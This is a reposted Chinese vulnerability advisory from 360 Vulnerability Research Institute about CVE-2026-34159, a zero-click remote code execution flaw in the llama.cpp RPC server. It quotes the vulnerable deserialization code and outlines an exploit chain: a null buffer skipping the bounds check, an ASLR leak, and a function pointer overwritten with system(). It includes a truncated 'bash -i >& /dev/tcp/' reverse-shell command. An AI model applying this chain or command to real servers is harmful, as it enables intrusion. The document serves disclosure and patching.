LLM推理引擎llama.cpp零点击RCE漏洞:从NullBuffer到绕过PIE/FullRELRO/NX利用链(CVE-2026-34159)

admin 2026-04-29 05:31:13 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: llama.cppRPC服务存在零点击远程代码执行漏洞CVE-2026-34159,攻击者通过设置buffer为0绕过内存边界检查实现任意地址读写,可突破PIE/FullRELRO/NX防护获取系统权限。影响版本低于b8492,建议立即升级至修复版本。360漏洞研究院已成功复现该漏洞并提供技术细节。 综合评分: 85 文章分类: 漏洞分析,漏洞预警,二进制安全,红队,解决方案


cover_image

LLM 推理引擎 llama.cpp 零点击 RCE 漏洞:从 Null Buffer 到绕过 PIE/Full RELRO/NX 利用链(CVE-2026-34159)

原创

360漏洞研究院 360漏洞研究院

360漏洞研究院

2026年4月28日 16:23 四川

在小说阅读器读本章

去阅读

“扫描下方二维码,进入公众号粉丝交流群。更多一手网安资讯、漏洞预警、技术干货和技术交流等您参与!”

llama.cpp 曝出 RPC 服务零点击远程代码执行漏洞(CVE-2026-34159,CVSS 3.1:9.8),攻击者无需任何交互,仅需向开启 RPC 服务的后端发送构造的张量数据包,即可通过绕过内存边界校验实现任意地址读写,最终获取服务器系统权限。

利用条件限制:

  • 开启了 rpc-server 进程
  • 攻击者能够访问RPC端口

目前 360漏洞挖掘智能体已成功复现该漏洞。本文包含完整影响范围、修复方案、技术原理与复现细节,建议用户立即升级。

| | | | | | — | — | — | — | | 漏洞概述 | | | | | 漏洞名称 | llama.cpp RPC 服务零点击远程代码执行漏洞 | | | | 漏洞编号 | CVE-2026-34159 | | | | 公开时间 | 2026-03-26 | POC状态 | 已公开 | | 漏洞类型 | 逻辑缺陷 | EXP状态 | 已公开 | | 利用可能性 | 高 | 技术细节状态 | 已公开 | | CVSS 3.1 | 9.8 | 在野利用状态 | 未发现 |

01

漏洞影响范围

受影响的软件版本:

受影响版本 < b8492

02

修复建议

正式防护方案

受影响用户升级至 b8492 或更高版本。

03

漏洞描述

近日,官方披露了 llama.cpp RPC 服务零点击远程代码执行漏洞(CVE-2026-34159)。漏洞根源在于 RPC 服务器在处理传入张量(Tensor)反序列化时的逻辑校验缺失。在 ggml-rpc.cpp 的 deserialize_tensor 函数中,对 buffer 句柄的验证逻辑存在严重漏洞:

核心代码(ggml-rpc.cpp:1158):

ggml_tensor *&nbsp;rpc_server::deserialize_tensor(struct&nbsp;ggml_context * ctx,&nbsp;const&nbsp;rpc_tensor * tensor){// [1] 解析 buffer 句柄&nbsp; &nbsp; result->buffer =&nbsp;reinterpret_cast<ggml_backend_buffer_t>(tensor->buffer);if&nbsp;(result->buffer && buffers.find(result->buffer) == buffers.end()) {&nbsp; &nbsp; &nbsp; &nbsp; result->buffer =&nbsp;nullptr;&nbsp; &nbsp; }// [2] 关键逻辑点:仅在 buffer != 0 时才执行边界校验 (Bounds Check)if&nbsp;(result->buffer) {uint64_t&nbsp;tensor_size &nbsp;= (uint64_t)&nbsp;ggml_nbytes(result);uint64_t&nbsp;buffer_start = (uint64_t)&nbsp;ggml_backend_buffer_get_base(result->buffer);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;GGML_ASSERT(tensor->data >= buffer_start && tensor->data + tensor_size <= buffer_start + buffer_size);&nbsp; &nbsp; }// ^^^^ 如果攻击者设置 tensor->buffer = 0,上述安全检查将被完全绕过// [3] 漏洞点:地址赋值无条件执行&nbsp; &nbsp; result->data =&nbsp;reinterpret_cast<void&nbsp;*>(tensor->data);&nbsp;// <-- 攻击者完全控制的任意地址return&nbsp;result;&nbsp;}

通过将 buffer 设为 0,攻击者可以使 result->data 指向进程空间的任意虚拟地址。配合 GGML_OP_CPY 指令,攻击者可构造出针对服务器内存的任意读写原语。

在防御绕过层面,由于 Full RELRO 仅保护 GOT 表,攻击者针对堆上分配的 ggml_backend_buffer_i 结构体(包含大量函数指针且可写)进行攻击。

ASLR 绕过:泄露堆上虚表指针,逆向扫描 \x7fELF 确定库基址。

劫持执行:利用任意写原语,将 iface.clear 函数指针覆盖为 system() 地址,并将缓冲区起始位置填充为恶意指令(如反弹 Shell)。

触发 RCE:调用 BUFFER_CLEAR,使服务器执行 buffer->iface.clear(buffer),实质演变为 system(“bash -i >& /dev/tcp/…”)。

04

漏洞复现

360 漏洞研究院已成功复现 llama.cpp RPC 服务零点击远程代码执行漏洞(CVE-2026-34159)。在开启 PIE + Full RELRO + NX 的 Ubuntu 环境下完成 EXP 验证。通过构造多级张量计算图,成功突破内存防护限制,拿到 RPC 进程的反弹 Shell。

发送反弹 Shell 数据包到服务器

CVE-2026-34159 llama.cpp RPC 服务零点击远程代码执行漏洞复现

05

时间线

2026年04月28日,360漏洞研究院发布本安全风险通告。

06

参考链接

https://nvd.nist.gov/vuln/detail/CVE-2026-34159

07

更多漏洞情报

建议您订阅360数字安全-漏洞情报服务,获取更多漏洞情报详情以及处置建议,让您的企业远离漏洞威胁。

邮箱:[email protected]

网址:https://vi.loudongyun.360.net

“洞”悉网络威胁,守护数字安全

关于我们

360 漏洞研究院,隶属于360数字安全集团。其成员常年入选谷歌、微软、华为等厂商的安全精英排行榜, 并获得谷歌、微软、苹果史上最高漏洞奖励。研究院是中国首个荣膺Pwnie Awards“史诗级成就奖”,并获得多个Pwnie Awards提名的组织。累计发现并协助修复谷歌、苹果、微软、华为、高通等全球顶级厂商CVE漏洞3000多个,收获诸多官方公开致谢。研究院也屡次受邀在BlackHat,Usenix Security,Defcon等极具影响力的工业安全峰会和顶级学术会议上分享研究成果,并多次斩获信创挑战赛、天府杯等顶级黑客大赛总冠军和单项冠军。研究院将凭借其在漏洞挖掘和安全攻防方面的强大技术实力,帮助各大企业厂商不断完善系统安全,为数字安全保驾护航,筑造数字时代的安全堡垒。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:360漏洞研究院 360漏洞研究院 360漏洞研究院《LLM 推理引擎 llama.cpp 零点击 RCE 漏洞:从 Null Buffer 到绕过 PIE/Full RELRO/NX 利用链(CVE-2026-34159)》

评论:0   参与:  0